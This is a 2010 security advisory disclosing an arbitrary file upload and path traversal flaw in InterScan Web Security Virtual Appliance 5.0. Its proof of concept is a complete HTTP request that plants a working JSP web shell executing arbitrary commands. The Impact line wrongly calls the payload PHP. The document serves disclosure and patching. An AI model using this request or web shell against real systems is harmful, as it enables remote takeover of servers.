Advisory Name: Arbitrary File Upload in InterScan Web Security Virtual Appliance 5.0.

Internal Cybsec Advisory Id: 2010-0605

Vulnerability Class: Arbitrary File Upload

Release Date: 22-06-2010

Affected Applications: Confirmed in InterScan Web Security Virtual Appliance 5.0. Other versions may also be affected.

Affected Platforms: Red Hat nash 5.1

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Ivan Huertas

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

The vulnerability is caused due to an improper check in "com.trend.iwss.gui.servlet.XMLRPCcert" servlet, allowing the upload of files with arbitrary extensions. This can be exploited to e.g. execute arbitrary commands by uploading a specially crafted JSP script containing some kind of Web Shell. Also, using path traversal technique, an attacker can change the original destination path.
For example you can use the other vulnerability "Local Privilege Escalation" to execute commands as root.

Proof of Concept:

1) Access to the CA import functionality, and try to upload a file with an arbitrary extension.
2) Using path traversal technique, an attacker can write into other directory, like tmp or inside the Webroot:

```
POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Host: xx.xx.xx.xx:1812
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://xx.xx.xx.xx:1812
Cookie: JSESSIONID=9072F5BC86BD450CFD8B88613FFD2F80
Content-Type: multipart/form-data; boundary=-----------------------------8037710439442041059872290 0
Content-Length: 2912

-----------------------------8037710439442041059872290 0
Content-Disposition: form-data; name="op"
save
-----------------------------8037710439442041059872290 0
Content-Disposition: form-data; name="defaultca"
yes
-----------------------------8037710439442041059872290 0
Content-Disposition: form-data; name="importca_certificate";
filename="../../../../../../../../../../../../../../../../usr/iwss/AdminUI/tomcat/webapps/ROOT/cmd.jsp"

Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*"%>
<%%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>
-----------------------------8037710439442041059872290 0
Content-Disposition: form-data; name="importca_key";
filename="../../../../../../../../../../../../../../../../usr/iwss/AdminUI/tomcat/webapps/ROOT/cmd.jsp"
```

```
<%@ page import="java.util.*,java.io.*"%>
<%%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>
----------------------------803771043944204105987229000
Content-Disposition: form-data; name="importca_passphrase"

test

----------------------------803771043944204105987229000
Content-Disposition: form-data; name="importca_2passphrase"
test
----------------------------803771043944204105987229000
Content-Disposition: form-data; name="beErrMsg"
imperr
----------------------------803771043944204105987229000--
```

Impact:

Direct execution of arbitrary PHP code in the Web Server.

Solution:

Apply the patch that can be found in

http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1

Vendor Response:

2009-03-26 – Vulnerability was identified
2010-04-09 – Vendor contacted
2010-04-15 – Vendor response
2010-06-21 – Vendor released fixed version
2010-06-22 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems:

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com